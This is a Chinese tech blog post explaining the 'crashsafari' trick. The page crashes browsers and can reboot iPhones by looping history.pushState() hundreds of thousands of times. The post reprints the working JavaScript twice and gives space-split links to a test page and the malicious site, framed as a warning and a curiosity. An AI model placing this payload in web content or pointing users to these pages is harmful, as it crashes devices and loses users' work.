如果是使用電腦開啟以下提供的網頁連結,會使你的電腦記憶體(RAM)使用率、CPU使用率瞬間狂飆,到達記憶體使用極限後,你所使用的網頁瀏覽器將會崩潰卡死、無法使用,最後只能強制關閉。
不管你是使用微軟的IE(Internet Explorer)、Google的Chrome、Firefox…等非主流瀏覽器。
然而如果你是使用手機行動裝置開啟以下提供的網頁連結,也是會使手機的記憶體使用率、CPU使用率快速耗盡,如果你的使用iPhone所內建Safari瀏覽器開啟,還有機會使手機重新開機!!
這個網頁並不是病毒,而是網頁程式碼中,呼叫了HTML5中的history.pushState()函式。
pushState是將指定的網址瀏覽紀錄加入瀏覽器的瀏覽歷史紀錄中,而網頁中使用javascript的for迴圈,將此紀錄重複寫了十萬次,當然如果電腦的配備沒有那麼好,寫幾百次、幾千次的時候就會因為耗盡記憶體、CPU而導致瀏覽器崩潰、閃退。
想要測試看看電腦的效能的,可以點以下提供的網頁測試連結,前往測試你所使用的電腦的效能唷!
測試網頁連結:
(已用空白字員拆開網址,請小心使用唷!!點開此連結前建議將重要的網頁關閉!!)
https:// dl.dropboxusercontent.com/u/21270733/ crash. html
網頁原始碼:
1 2 3 4 5 6 7 8 9 10 11 |
<html> <body> <script> var total=""; for(var i=0; i<1000000; i++){ total = total + i.toString(); history.pushState(0,0,total); } </script> </body> </html> |
最近還發現有人利用這幾行網頁程式碼架設了一個網站。
一樣在下方提供該網頁的程式碼,竟然還在網頁當中埋了Google Adsense (Google廣告)的程式碼…。
請沒事的人不要亂點唷!
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 |
<!DOCTYPE html> <html> <body> <h1>What were you expecting?</h1> <script> (function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){ (i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o), m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m) })(window,document,'script','//www.google-analytics.com/analytics.js','ga'); ga('create', 'UA-60737367-1', 'auto'); ga('send', 'pageview'); </script> <script> var total = ""; for( var i = 0; i < 100000; i++ ) { total = total + i.toString(); history.pushState(0,0, total ); } </script> </body> </html> |
惡意網站網址:
已刻意用空白字元隔開此完整網址,以免手殘誤點!!
http:// crashsafari . com
作者:月影星痕
轉載請註明本文網址:https://www.chkaja.com/internet-explorer-chrome-firefox-crash/
版權所有 © KJ資訊站 | 本文章採用 BY-NC-SA 進行授權。
發佈留言